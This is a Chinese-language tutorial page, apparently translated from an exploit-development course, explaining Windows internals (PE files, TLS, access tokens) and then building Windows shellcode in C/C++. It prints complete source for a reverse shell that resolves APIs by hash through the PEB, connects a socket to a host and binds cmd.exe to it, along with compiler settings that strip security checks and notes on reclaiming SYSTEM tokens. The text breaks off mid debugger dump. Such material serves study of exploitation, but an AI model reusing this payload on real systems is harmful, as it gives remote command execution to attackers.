
        <html>
			<head>
			     <title>Exploit开发系列教程-Windows基础&shellcode - P3nro5e</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/tips/8361">http://drops.wooyun.org/tips/8361</a></h1>
				
      <p>
        <p>from:http://expdev-kiuhnm.rhcloud.com/2015/05/11/contents/</p>

<h1>Windows基础</h1>

<hr />

<h3>0x00 Windows Basics</h3>

<p>这篇文章简要讲述Windows开发者应该了解的一些常识。</p>

<h3>0x01 Win32 API</h3>

<p>Windows的主要API由多个DLLs（<code>Dynamic Link Libraries</code>）提供。某个应用可以从那些<code>DLL</code>中导入函数并且对它们进行调用。这样就保证了普通用户态应用程序的可移植性。</p>

<h3>0x02 PE文件格式</h3>

<p>执行体和<code>DLL</code>都是PE(<code>Portable Executable</code>)文件。每个PE含有一个导入和导出表。导入表指定导入函数以及这些函数所在的文件（模块）。导出表指定导出函数，等等。函数可以被导入到其它的PE文件。</p>

<p><code>PE</code>文件由多个节（<code>section</code>）组成（代码节，数据节，等等…）。在内存中， <code>.reloc</code>节中具有重定位可执行体或<code>DLL</code>的信息。在内存中，虽然有些代码（例如相对的<code>jmp</code>指令）的地址是相对的，但是多数代码所在的地址是绝对的，这取决于被加载的模块。</p>

<!--more-->

<p><code>Windows loader</code>从当前工作目录开始搜索<code>DLLs</code>，发布的某个应用可能具有一个不同于系统根（<code>\windows\system32</code>）目录中的<code>DLL</code>。该版本方面的问题（不兼容）被一些人称作<code>DLL-hell</code>。</p>

<p>重要的是理解相对虚拟内存地址 (<code>Relative Virtual Address</code>，RVA)的概念。<code>PE</code>文件提供<code>RVAs</code>来指定模块的相对基地址。换句话说，在内存中，如果某个模块在地址B（基地址）上被加载并且某个元素在该模块中具有<code>RVA</code> 为X这一偏移量，那么该元素的虚拟内存地址（<code>Virtual Address</code>，VA）偏移量为<code>B+X</code>。</p>

<h3>0x03 线程</h3>

<p>如果你过去经常使用Windows平台，那么应该非常了解线程的概念。但是，如果你经常使用的是Linux，那么请记住，Windows平台将会为线程提供<code>CPU</code>时间片。你可以用<code>CreateProcess()</code>创建新进程并且用<code>CreateThreads()</code>创建新线程。线程会在它们所在进程的地址空间内执行，因此它们所在的内存是共享的。</p>

<p>线程也会被一种称作TLS（<code>Thread Local Storage</code>）的机制限制，该机制为线程提供了非共享内存。</p>

<p>基本上，每个线程的<code>TEB</code>都含有一个<code>TLS</code>数组，它具有64个<code>DWORD</code>值，并且在运行过程中超出<code>TLS</code>数组的有效元素个数时，会为额外的<code>TLS</code>数组分配1024个<code>DWORD</code>值。首先，两个数组中的一个数组的每个元素会对应一个索引值，该索引值必须被分配或使用<code>TlsAlloc()</code>来得到，可以用<code>TlsGetValue</code>(index) 来读取<code>DWORD</code> 值并用<code>TlsSetValue</code>(index, newValue)将其写入。如，在当前线程的<code>TEB</code>中，<code>TlsGetValue</code>(7)表示从<code>TLS</code>数组中索引值为7的地址上读取<code>DWORD</code>值。</p>

<p>笔记：我们可以通过使用<code>GetCurrentThreadId()</code>来模拟该机制，但是不会有一样的效果。</p>

<h3>0x04 令牌</h3>

<p>令牌通常用于描述访问权限。就像文件句柄那样，令牌仅仅是一个32位整数。每个进程具有一个内部结构，该结构含有关于访问权限的信息，它与令牌相关联。</p>

<p>令牌分为两种类型：主令牌和模仿令牌。无论何时，某个进程被创建后都会被分配一个主令牌。进程的每个线程都可以拥有进程的令牌，或从另一进程中获取模仿令牌。如果<code>LogonUser()</code>函数被调用，则会返回一个不能被使用于<code>CreateProcessAsUser()</code>的模仿令牌（提供凭据），除非你调用了<code>DupcateTokenEx</code>来将其转换为主令牌。</p>

<p>可以使用<code>SetThreadToken</code>(newToken) 将某个令牌附加到当前线程并且可以使用<code>RevertToSelf()</code>来将该令牌删除，从而让线程的令牌还原为主令牌。</p>

<p>我们来了解下在Windows平台上，将某个用户连接到服务器并发送用户名和密码的情况。首先以<code>SYSTEM</code>身份运行服务器，将会调用具有凭据的<code>LogonUser()</code>，如果成功则返回新令牌。接着会在服务器创建新线程的同时调用<code>SetThreadToken</code>(new_token)，<code>new_token</code>参数是一个由 <code>LogonUser()</code>返回的令牌值。这样，线程被执行时就具有与用户一样的权限。当线程完成了对客户端的服务时，或者会被销毁，或者将调用<code>revertToSelf()</code> 而被添加到线程池的空闲线程队列中。</p>

<p>如果可以控制服务器，那么可通过调用<code>RevertToSelf()</code>，或在内存中查找其它的令牌并使用<code>SetThreadToken()</code>函数将它们附加到当前线程，从而恢复当前线程的权限，即<code>SYSTEM</code>权限。</p>

<p>值得注意的是，<code>CreateProcess()</code>使用主令牌作为新进程的令牌。当具有比主令牌更高权限的模仿令牌的线程调用<code>CreateProcess()</code>时存在一个问题，那就是新进程的权限会低于创建该进程的线程。</p>

<p>解决方案是使用<code>DuplicateTokenEx()</code>从当前线程的模拟令牌中创建一个新的主令牌，接着通过调用具有新的主令牌的<code>CreateProcessAsUser()</code> 创建新进程。</p>

<h1>shellcode</h1>

<hr />

<h3>0x00 介绍</h3>

<p><code>Shellcode</code>是一段被<code>exploit</code>作为<code>payload</code>发送的代码，它被注入到存在漏洞的应用，并且会被执行。<code>Shellcode</code>是自包含的，并且应该不含有<code>null</code>字节。通常使用函数如<code>strcpy()</code>来复制<code>shellcode</code>，在进行该复制过程中遇到<code>null</code>字节时，将停止复制。这样做会导致<code>shellcode</code>不能被完全复制。 <code>Shellcode</code>一般直接由汇编语言编写，但是，在这篇文章中，我们将通过<code>Visual Studio 2013</code>使用<code>c/c++</code>来开发<code>shellcode</code>。在该开发环境下进行开发的好处如下：</p>

<p>1.花费更短的开发时间。</p>

<p>2.智能提示（<code>intellisense</code>）。</p>

<p>3.易于调试。</p>

<p>我们将使用<code>VS2013</code>来生成一个具有<code>shellcode</code>的执行体，也将使用<code>python</code>脚本来提取并修复（移除<code>null</code>字节）<code>shellcode</code>。</p>

<h3>0x01 C/C++ 代码</h3>

<h4>仅仅使用栈变量</h4>

<p>为了编写浮动地址代码（<code>position independent code</code>），我们必须使用栈变量。这意味着我们不能这么写。</p>

<pre><code>char *v = new char[100];
</code></pre>

<p>因为那数组将被分配到栈。根据绝对地址，试着从<code>msvcr120.dll</code> 中调用<code>new</code>函数：</p>

<pre><code>00191000 6A 64                push        64h
00191002 FF 15 90 20 19 00    call        dword ptr ds:[192090h]
</code></pre>

<p>地址<code>192090h</code>上包含函数的地址。在没有依赖导入表以及<code>Windows loader</code>的情况下，要调用某库中已导入的函数，我们必须直接这么做。 另一个存在的问题是，新操作符可能需要某种通过<code>c/c+</code>+语言编写的运行时组件来完成的初始化操作。</p>

<p>不能使用全局变量：</p>

<pre><code>int x;
 
int main() {
  x = 12;
}
</code></pre>

<p>上面的代码 (如果没有被优化)生成如下：</p>

<pre><code>008E1C7E C7 05 30 91 8E 00 0C 00 00 00 mov         dword ptr ds:[8E9130h],0Ch
</code></pre>

<p>地址<code>8E9130h</code>为变量x的绝对地址。</p>

<p>如果我们编写如下，会导致字符串存在问题</p>

<pre><code>char str[] = "I'm a string";

printf(str);
</code></pre>

<p>字符串将被放入执行体的<code>.rdata</code>节中，并且会对其进行绝对地址引用。</p>

<p>在<code>shellcode</code>中不得使用<code>printf</code>：这只是一个了解<code>str</code>如何被引用的范例。</p>

<p>这是<code>asm</code>代码：</p>

<pre><code>00A71006 8D 45 F0             lea         eax,[str]
00A71009 56                   push        esi
00A7100A 57                   push        edi
00A7100B BE 00 21 A7 00       mov         esi,0A72100h
00A71010 8D 7D F0             lea         edi,[str]
00A71013 50                   push        eax
00A71014 A5                   movs        dword ptr es:[edi],dword ptr [esi]
00A71015 A5                   movs        dword ptr es:[edi],dword ptr [esi]
00A71016 A5                   movs        dword ptr es:[edi],dword ptr [esi]
00A71017 A4                   movs        byte ptr es:[edi],byte ptr [esi]
00A71018 FF 15 90 20 A7 00    call        dword ptr ds:[0A72090h]
</code></pre>

<p>正如你所看到的，字符串位于<code>.rdata</code>节中，地址为<code>A72100h</code>，通过<code>movsd</code>和<code>movsb</code>指令的执行，它会被复制进栈（<code>str</code>指向栈）。注意：<code>A72100h</code>为绝对地址。显然该代码不是地址无关的。</p>

<p>如果我们这样写：</p>

<pre><code>char *str = "I'm a string";
printf(str);
</code></pre>

<p>那么字符串仍然会被放入.data节，但不会被复制进栈：</p>

<pre><code>00A31000 68 00 21 A3 00       push        0A32100h
00A31005 FF 15 90 20 A3 00    call        dword ptr ds:[0A32090h]
</code></pre>

<p>字符串在<code>.rdata</code>节中，绝对地址为<code>A32100h</code>。</p>

<p>如何让该代码地址无关?</p>

<p>更简单的（部分）解决方案：</p>

<pre><code>char str[] = { 'I', '\'', 'm', ' ', 'a', ' ', 's', 't', 'r', 'i', 'n', 'g', '\0' };
printf(str);
</code></pre>

<p>对应的汇编代码如下：</p>

<pre><code>012E1006 8D 45 F0             lea         eax,[str]
012E1009 C7 45 F0 49 27 6D 20 mov         dword ptr [str],206D2749h
012E1010 50                   push        eax
012E1011 C7 45 F4 61 20 73 74 mov         dword ptr [ebp-0Ch],74732061h
012E1018 C7 45 F8 72 69 6E 67 mov         dword ptr [ebp-8],676E6972h
012E101F C6 45 FC 00          mov         byte ptr [ebp-4],0
012E1023 FF 15 90 20 2E 01    call        dword ptr ds:[12E2090h]
</code></pre>

<p>除了对<code>printf</code>的调用外，该段代码是地址无关的，因为字符串部分被直接编码进了<code>mov</code>指令的源操作数中。一旦该字符串在栈上，则可以被使用。</p>

<p>不幸的是，当字符串达到一定长度时，该方法就失效了。代码为：</p>

<pre><code>char str[] = { 'I', '\'', 'm', ' ', 'a', ' ', 'v', 'e', 'r', 'y', ' ', 'l', 'o', 'n', 'g', ' ', 's', 't', 'r', 'i', 'n', 'g', '\0' };
printf(str);
</code></pre>

<p>生成</p>

<pre><code>013E1006 66 0F 6F 05 00 21 3E 01 movdqa      xmm0,xmmword ptr ds:[13E2100h]
013E100E 8D 45 E8             lea         eax,[str]
013E1011 50                   push        eax
013E1012 F3 0F 7F 45 E8       movdqu      xmmword ptr [str],xmm0
013E1017 C7 45 F8 73 74 72 69 mov         dword ptr [ebp-8],69727473h
013E101E 66 C7 45 FC 6E 67    mov         word ptr [ebp-4],676Eh
013E1024 C6 45 FE 00          mov         byte ptr [ebp-2],0
013E1028 FF 15 90 20 3E 01    call        dword ptr ds:[13E2090h]
</code></pre>

<p>正如你所看到的，当字符串的其它部分像之前那样被编码进mov指令的源操作数中时，字符串部分将被定位在.rdata节中，地址为13E2100h。</p>

<p>我已提出的解决方案如下：</p>

<pre><code>char *str = "I'm a very long string";
</code></pre>

<p>同时使用<code>Python</code>脚本修复<code>shellcode</code>。该脚本需要从<code>.rdata</code>节中提取被引用的字符串，并将它们放入到<code>shellcode</code>中，然后修复重定位信息。我们马上会了解到该实现方法。</p>

<h4>不直接调用Windows API</h4>

<p>在<code>C/C++</code>代码中，我们不能编写</p>

<pre><code>WaitForSingleObject(procInfo.hProcess, INFINITE);
</code></pre>

<p>因为<code>kernel32.dll</code>中已导入了“<code>WaitForSingleObject</code>”函数。</p>

<p>在<code>nutshell</code>中，<code>PE</code>文件含有导入表和导入地址表（<code>IAT</code>）。导入表含有被导入到库中的函数的信息。当执行体被加载时，通过<code>Windows loader</code>编译<code>IAT</code>，并且其含有已导入的函数地址。该执行体的代码用间接寻址调用已导入到库中的函数。例如：</p>

<pre><code> 001D100B FF 15 94 20 1D 00    call        dword ptr ds:[1D2094h]
</code></pre>

<p>地址<code>1D2094h</code>为入口地址（在<code>IAT</code>中），该地址含有函数 <code>MessageBoxA</code>的地址。因为如上调用函数的地址无需被修复（除非执行体被重定位），所以可以直接使用该地址。<code>Windows loader</code> 只需要修复的是在<code>1D2094h</code>地址，该<code>dword</code>值是<code>MessageBoxA</code>函数的地址。</p>

<p>解决方案是直接从<code>Windows</code>的数据结构中得到<code>Windows</code>的函数地址。之后我们将会了解到。</p>

<h4>创建新项目</h4>

<p>通过 <code>File→New→Project…</code>, 选择 <code>Installed→Templates→Visual C++→Win32→Win32 Console Application</code>, 为项目命名 (我将其命名为 <code>shellcode</code>) 接着点击OK。</p>

<p>通过 <code>Project→&lt;project name&gt; properties</code> 将出现新会话框。通过将 <code>Configuration</code>（会话的左上方）设置为<code>All Configurations</code>将修改应用到所有配置（<code>Release</code>和<code>Debug</code>）。接着，展开<code>Configuration Properties</code>并且在<code>General</code> 下修改<code>Platform Toolset</code> 。该编译器为<code>Visual C++ Compiler Nov 2013 CTP</code> (CTP_Nov2013)。</p>

<p>这样你将可以使用<code>C++11</code>和<code>C++14</code>的一些特性，如<code>static_assert</code>。</p>

<h4>Shellcode范例</h4>

<p>这是一段简单的反向<code>shell</code>代码（定义）。将命名为<code>shellcode.cpp</code>的文件添加到项目中并将该代码复制到<code>shellcode.cpp</code>。不要试图理解所有的代码。后面我们还会对其进行进一步的讨论。</p>

<pre><code>// Simple reverse shell shellcode by Massimiliano Tomassoli (2015)
// NOTE: Compiled on Visual Studio 2013 + "Visual C++ Compiler November 2013 CTP".
 
#include &lt;WinSock2.h&gt;               // must preceed #include &lt;windows.h&gt;
#include &lt;WS2tcpip.h&gt;
#include &lt;windows.h&gt;
#include &lt;winnt.h&gt;
#include &lt;winternl.h&gt;
#include &lt;stddef.h&gt;
#include &lt;stdio.h&gt;
 
#define htons(A) ((((WORD)(A) &amp; 0xff00) &gt;&gt; 8) | (((WORD)(A) &amp; 0x00ff) &lt;&lt; 8))
 
_inline PEB *getPEB() {
    PEB *p;
    __asm {
        mov     eax, fs:[30h]
        mov     p, eax
    }
    return p;
}
 
DWORD getHash(const char *str) {
    DWORD h = 0;
    while (*str) {
        h = (h &gt;&gt; 13) | (h &lt;&lt; (32 - 13));       // ROR h, 13
        h += *str &gt;= 'a' ? *str - 32 : *str;    // convert the character to uppercase
        str++;
    }
    return h;
}
 
DWORD getFunctionHash(const char *moduleName, const char *functionName) {
    return getHash(moduleName) + getHash(functionName);
}
 
LDR_DATA_TABLE_ENTRY *getDataTableEntry(const LIST_ENTRY *ptr) {
    int list_entry_offset = offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
    return (LDR_DATA_TABLE_ENTRY *)((BYTE *)ptr - list_entry_offset);
}
 
// NOTE: This function doesn't work with forwarders. For instance, kernel32.ExitThread forwards to
//       ntdll.RtlExitUserThread. The solution is to follow the forwards manually.
PVOID getProcAddrByHash(DWORD hash) {
    PEB *peb = getPEB();
    LIST_ENTRY *first = peb-&gt;Ldr-&gt;InMemoryOrderModuleList.Flink;
    LIST_ENTRY *ptr = first;
    do {                            // for each module
        LDR_DATA_TABLE_ENTRY *dte = getDataTableEntry(ptr);
        ptr = ptr-&gt;Flink;
 
        BYTE *baseAddress = (BYTE *)dte-&gt;DllBase;
        if (!baseAddress)           // invalid module(???)
            continue;
        IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)baseAddress;
        IMAGE_NT_HEADERS *ntHeaders = (IMAGE_NT_HEADERS *)(baseAddress + dosHeader-&gt;e_lfanew);
        DWORD iedRVA = ntHeaders-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
        if (!iedRVA)                // Export Directory not present
            continue;
        IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(baseAddress + iedRVA);
        char *moduleName = (char *)(baseAddress + ied-&gt;Name);
        DWORD moduleHash = getHash(moduleName);
 
        // The arrays pointed to by AddressOfNames and AddressOfNameOrdinals run in parallel, i.e. the i-th
        // element of both arrays refer to the same function. The first array specifies the name whereas
        // the second the ordinal. This ordinal can then be used as an index in the array pointed to by
        // AddressOfFunctions to find the entry point of the function.
        DWORD *nameRVAs = (DWORD *)(baseAddress + ied-&gt;AddressOfNames);
        for (DWORD i = 0; i &lt; ied-&gt;NumberOfNames; ++i) {
            char *functionName = (char *)(baseAddress + nameRVAs[i]);
            if (hash == moduleHash + getHash(functionName)) {
                WORD ordinal = ((WORD *)(baseAddress + ied-&gt;AddressOfNameOrdinals))[i];
                DWORD functionRVA = ((DWORD *)(baseAddress + ied-&gt;AddressOfFunctions))[ordinal];
                return baseAddress + functionRVA;
            }
        }
    } while (ptr != first);
 
    return NULL;            // address not found
}
 
#define HASH_LoadLibraryA           0xf8b7108d
#define HASH_WSAStartup             0x2ddcd540
#define HASH_WSACleanup             0x0b9d13bc
#define HASH_WSASocketA             0x9fd4f16f
#define HASH_WSAConnect             0xa50da182
#define HASH_CreateProcessA         0x231cbe70
#define HASH_inet_ntoa              0x1b73fed1
#define HASH_inet_addr              0x011bfae2
#define HASH_getaddrinfo            0xdc2953c9
#define HASH_getnameinfo            0x5c1c856e
#define HASH_ExitThread             0x4b3153e0
#define HASH_WaitForSingleObject    0xca8e9498
 
#define DefineFuncPtr(name)     decltype(name) *My_##name = (decltype(name) *)getProcAddrByHash(HASH_##name)
 
int entryPoint() {
//  printf("0x%08x\n", getFunctionHash("kernel32.dll", "WaitForSingleObject"));
//  return 0;
 
    // NOTE: we should call WSACleanup() and freeaddrinfo() (after getaddrinfo()), but
    //       they're not strictly needed.
 
    DefineFuncPtr(LoadLibraryA);
 
    My_LoadLibraryA("ws2_32.dll");
 
    DefineFuncPtr(WSAStartup);
    DefineFuncPtr(WSASocketA);
    DefineFuncPtr(WSAConnect);
    DefineFuncPtr(CreateProcessA);
    DefineFuncPtr(inet_ntoa);
    DefineFuncPtr(inet_addr);
    DefineFuncPtr(getaddrinfo);
    DefineFuncPtr(getnameinfo);
    DefineFuncPtr(ExitThread);
    DefineFuncPtr(WaitForSingleObject);
 
    const char *hostName = "127.0.0.1";
    const int hostPort = 123;
 
    WSADATA wsaData;
 
    if (My_WSAStartup(MAKEWORD(2, 2), &amp;wsaData))
        goto __end;         // error
    SOCKET sock = My_WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    if (sock == INVALID_SOCKET)
        goto __end;
 
    addrinfo *result;
    if (My_getaddrinfo(hostName, NULL, NULL, &amp;result))
        goto __end;
    char ip_addr[16];
    My_getnameinfo(result-&gt;ai_addr, result-&gt;ai_addrlen, ip_addr, sizeof(ip_addr), NULL, 0, NI_NUMERICHOST);
 
    SOCKADDR_IN remoteAddr;
    remoteAddr.sin_family = AF_INET;
    remoteAddr.sin_port = htons(hostPort);
    remoteAddr.sin_addr.s_addr = My_inet_addr(ip_addr);
 
    if (My_WSAConnect(sock, (SOCKADDR *)&amp;remoteAddr, sizeof(remoteAddr), NULL, NULL, NULL, NULL))
        goto __end;
 
    STARTUPINFOA sInfo;
    PROCESS_INFORMATION procInfo;
    SecureZeroMemory(&amp;sInfo, sizeof(sInfo));        // avoids a call to _memset
    sInfo.cb = sizeof(sInfo);
    sInfo.dwFlags = STARTF_USESTDHANDLES;
    sInfo.hStdInput = sInfo.hStdOutput = sInfo.hStdError = (HANDLE)sock;
    My_CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &amp;sInfo, &amp;procInfo);
 
    // Waits for the process to finish.
    My_WaitForSingleObject(procInfo.hProcess, INFINITE);
 
__end:
    My_ExitThread(0);
 
    return 0;
}
 
int main() {
    return entryPoint();
}
</code></pre>

<h4>编译器配置</h4>

<p>通过<code>Project→&lt;project name&gt; properties</code>, 展开 <code>Configuration Properties</code> 接着选择 <code>C/C++</code>。应用修改后的<code>Release</code> 配置。</p>

<p>这里是需要修改的设置：</p>

<ul>
<li>General: 

<ul>
<li>oSDL Checks: No (/sdl-)</li>
</ul></li>
</ul>

<p>这可能并不需要，但是我已将它们关闭了。</p>

<ul>
<li>Optimization: 

<ul>
<li>Optimization: Minimize Size (/O1)</li>
</ul></li>
</ul>

<p>这很重要！我们得尽可能将<code>shellcode</code>简短。</p>

<pre><code>* Inline Function Expansion: Only __inline (/Ob1)
</code></pre>

<p>使用这个设置告诉<code>VS 2013</code>只用<code>_inline</code>来定义内联函数。 <code>main()</code> 仅调用<code>shellcode</code>的函数<code>entryPoint</code>。如果函数 <code>entryPoint</code>是简短的，那么它可能会被内联进<code>main()</code>。这将是极糟的，因为<code>main()</code>将不再透露<code>shellcode</code>的后一部分（事实上它包含了该部分）。后面会了解到原因。</p>

<pre><code>* Enable Intrinsic Functions: Yes (/Oi)
</code></pre>

<p>我不知道该设置是否应该关闭。</p>

<pre><code>* Favor Size Or Speed: Favor small code (/Os)

* Whole Program Optimization: Yes (/GL)
</code></pre>

<ul>
<li>Code Generation: 

<ul>
<li>Security Check: Disable Security Check (/GS-)</li>
</ul></li>
</ul>

<p>不需要安全检查!</p>

<pre><code>* Enable Function-Level linking: Yes (/Gy)
</code></pre>

<h4>linker配置</h4>

<p>通过<code>Project→&lt;project name&gt; properties</code>, 展开<code>Configuration Properties</code>接着查看<code>Linker</code>。应用修改后的<code>Release</code>配置。这里是你需要修改的相关设置：</p>

<ul>
<li>General: 

<ul>
<li>Enable Incremental Linking: No (/INCREMENTAL:NO)</li>
</ul></li>
<li>Debugging: 

<ul>
<li>Generate Map File: Yes (/MAP)</li>
</ul></li>
</ul>

<p>告诉<code>linker</code>生成含有<code>EXE</code>结构的映射文件。</p>

<pre><code>* Map File Name: mapfile
</code></pre>

<p>这是映射文件名。可自定义文件名。</p>

<ul>
<li>Optimization: 

<ul>
<li>References: Yes (/OPT:REF)</li>
</ul></li>
</ul>

<p>该选项对于生成简短的<code>shellcode</code>来说非常重要，因为可以除去函数以及不被代码引用的数据。</p>

<pre><code>* Enable COMDAT Folding: Yes (/OPT:ICF)

* Function Order: function_order.txt
</code></pre>

<p>应用该设置读取命名为<code>function_order.txt</code> 的文件，该文件指定必须出现在代码节中函数的顺序。我们要将函数 <code>entryPoint</code>变为代码节中的第一个函数，可想而知，<code>function_order.txt</code>中必存在一行代码含有字符串<code>?entryPoint@@YAHXZ</code>。可以在映射文件中找到该函数名。</p>

<h4>getProcAddrByHash</h4>

<p>该函数返回由某个出现在内存中的模块（<code>.exe</code>或<code>.dll</code>）导出的某个函hash数的地址，已给出的``值与模块和函数相关联。当然，通过名字查找函数具有一定的可能性，但是这样做需要考虑空间方面的问题，因为那些名字应该被包含在<code>shellcode</code>中。在另一方面，一个<code>hash</code>仅有4个字节。因为我们不使用两个<code>hash</code>（一个用于模块，一个用于函数），<code>getProcAddrByHash</code>需要考虑所有被加载进内存中的模块。</p>

<p>通过<code>user32.dll</code>导出函数<code>MessageBoxA</code>，该函数的<code>hash</code>值可通过如下方法计算：</p>

<pre><code>DWORD hash = getFunctionHash("user32.dll", "MessageBoxA");
</code></pre>

<p>计算出的<code>hash</code>值为<code>getHash</code>(“user32.dll”) 与<code>getHash</code>(“MessageBoxA”)的<code>hash</code>值的总和。函数<code>getHash</code>的实现简明易懂：</p>

<pre><code>DWORD getHash(const char *str) {
    DWORD h = 0;
    while (*str) {
        h = (h &gt;&gt; 13) | (h &lt;&lt; (32 - 13));       // ROR h, 13
        h += *str &gt;= 'a' ? *str - 32 : *str;    // convert the character to uppercase
        str++;
    }
    return h;
}
</code></pre>

<p>正如你可以了解到的，<code>hash</code>值是大小写不敏感的（不区分大小写），重要的是，因为在内存中，某种Windows的版本所使用的字符串都为大写。 首先，<code>getProcAddrByHash</code>获取TEB(<code>Thread Environment Block</code>)的地址：</p>

<pre><code>PEB *peb = getPEB();

where

_inline PEB *getPEB() {
    PEB *p;
    __asm {
        mov     eax, fs:[30h]
        mov     p, eax
    }
    return p;
}
</code></pre>

<p>选择子<code>fs</code>与某个始于<code>TEB</code>地址的段相关联。在偏移<code>30h</code>上，<code>TEB</code>含有一个PEB(<code>Process Environment Block</code>)指针。用WinDbg可以观察到：</p>

<pre><code>0:000&gt; dt _TEB @$teb
ntdll!_TEB
+0x000 NtTib            : _NT_TIB
+0x01c EnvironmentPointer : (null)
+0x020 ClientId         : _CLIENT_ID
+0x028 ActiveRpcHandle  : (null)
+0x02c ThreadLocalStoragePointer : 0x7efdd02c Void
+0x030 ProcessEnvironmentBlock : 0x7efde000 _PEB
+0x034 LastErrorValue   : 0
+0x038 CountOfOwnedCriticalSections : 0
+0x03c CsrClientThread  : (null)
&lt;snip&gt;
</code></pre>

<p><code>PEB</code>与当前的进程相关联，除了别的以外，含有关于某些模块的信息，这些模块都被加载到进程地址空间中。 此处又是<code>getProcAddrByHash</code>：</p>

<pre><code>PVOID getProcAddrByHash(DWORD hash) {
    PEB *peb = getPEB();
    LIST_ENTRY *first = peb-&gt;Ldr-&gt;InMemoryOrderModuleList.Flink;
    LIST_ENTRY *ptr = first;
    do {                            // for each module
        LDR_DATA_TABLE_ENTRY *dte = getDataTableEntry(ptr);
        ptr = ptr-&gt;Flink;
        .
        .
        .
    } while (ptr != first);
 
    return NULL;            // address not found
}
</code></pre>

<p>此处为<code>PEB</code>部分:</p>

<pre><code>0:000&gt; dt _PEB @$peb
ntdll!_PEB
   +0x000 InheritedAddressSpace : 0 ''
   +0x001 ReadImageFileExecOptions : 0 ''
   +0x002 BeingDebugged    : 0x1 ''
   +0x003 BitField         : 0x8 ''
   +0x003 ImageUsesLargePages : 0y0
   +0x003 IsProtectedProcess : 0y0
   +0x003 IsLegacyProcess  : 0y0
   +0x003 IsImageDynamicallyRelocated : 0y1
   +0x003 SkipPatchingUser32Forwarders : 0y0
   +0x003 SpareBits        : 0y000
   +0x004 Mutant           : 0xffffffff Void
   +0x008 ImageBaseAddress : 0x00060000 Void
   +0x00c Ldr              : 0x76fd0200 _PEB_LDR_DATA
   +0x010 ProcessParameters : 0x00681718 _RTL_USER_PROCESS_PARAMETERS
   +0x014 SubSystemData    : (null)
   +0x018 ProcessHeap      : 0x00680000 Void
   &lt;snip&gt;
</code></pre>

<p>在偏移<code>0Ch</code>上，是一个被称作<code>Ldr</code>的字段，它是个<code>PEB_LDR_DATA</code> 结构指针。使用<code>WinDbg</code>进行观察：</p>

<pre><code>0:000&gt; dt _PEB_LDR_DATA 0x76fd0200
ntdll!_PEB_LDR_DATA
   +0x000 Length           : 0x30
   +0x004 Initialized      : 0x1 ''
   +0x008 SsHandle         : (null)
   +0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x683080 - 0x6862c0 ]
   +0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x683088 - 0x6862c8 ]
   +0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x683120 - 0x6862d0 ]
   +0x024 EntryInProgress  : (null)
   +0x028 ShutdownInProgress : 0 ''
   +0x02c ShutdownThreadId : (null)
</code></pre>

<p><code>InMemoryOrderModuleList</code>是一个<code>LDR_DATA_TABLE_ENTRY</code>结构的双链表，它与当前进程的地址空间中所加载的模块相关联。更确切地说，<code>InMemoryOrderModuleList</code> 是一个<code>LIST_ENTRY</code>，它含有两个部分：</p>

<pre><code>0:000&gt; dt _LIST_ENTRY
ntdll!_LIST_ENTRY
+0x000 Flink            : Ptr32 _LIST_ENTRY
+0x004 Blink            : Ptr32 _LIST_ENTRY
</code></pre>

<p><code>Flink</code>为前向链表，<code>Blink</code>为后向链表。<code>Flink</code>指向第一个模块的<code>LDR_DATA_TABLE_ENTRY</code> 。当然，未必就是如此：</p>

<p><code>Flink</code>指向一个被包含在结构<code>LDR_DATA_TABLE_ENTRY</code>中的<code>LIST_ENTRY</code> 结构。</p>

<p>我们来观察<code>LDR_DATA_TABLE_ENTRY</code> 是如何被定义的:</p>

<pre><code>0:000&gt; dt _LDR_DATA_TABLE_ENTRY
ntdll!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY
+0x008 InMemoryOrderLinks : _LIST_ENTRY
+0x010 InInitializationOrderLinks : _LIST_ENTRY
+0x018 DllBase          : Ptr32 Void
+0x01c EntryPoint       : Ptr32 Void
+0x020 SizeOfImage      : Uint4B
+0x024 FullDllName      : _UNICODE_STRING
+0x02c BaseDllName      : _UNICODE_STRING
+0x034 Flags            : Uint4B
+0x038 LoadCount        : Uint2B
+0x03a TlsIndex         : Uint2B
+0x03c HashLinks        : _LIST_ENTRY
+0x03c SectionPointer   : Ptr32 Void
+0x040 CheckSum         : Uint4B
+0x044 TimeDateStamp    : Uint4B
+0x044 LoadedImports    : Ptr32 Void
+0x048 EntryPointActivationContext : Ptr32 _ACTIVATION_CONTEXT
+0x04c PatchInformation : Ptr32 Void
+0x050 ForwarderLinks   : _LIST_ENTRY
+0x058 ServiceTagLinks  : _LIST_ENTRY
+0x060 StaticLinks      : _LIST_ENTRY
+0x068 ContextInformation : Ptr32 Void
+0x06c OriginalBase     : Uint4B
+0x070 LoadTime         : _LARGE_INTEGER
</code></pre>

<p><code>InMemoryOrderModuleList.Flink</code>指向位于偏移为8的<code>_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks</code>，因此，我们必须减去8来获取 <code>_LDR_DATA_TABLE_ENTRY</code>的地址。</p>

<p>首先，获取Flink指针:</p>

<pre><code>+0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x683080 - 0x6862c0 ]
</code></pre>

<p>它的值是<code>0x683080</code>，因此<code>_LDR_DATA_TABLE_ENTRY</code> 结构的地址为<code>0x683080 – 8 = 0x683078</code>:</p>

<pre><code>0:000&gt; dt _LDR_DATA_TABLE_ENTRY 683078
ntdll!_LDR_DATA_TABLE_ENTRY
   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x359469e5 - 0x1800eeb1 ]
   +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x683110 - 0x76fd020c ]
   +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x683118 - 0x76fd0214 ]
   +0x018 DllBase          : (null)
   +0x01c EntryPoint       : (null)
   +0x020 SizeOfImage      : 0x60000
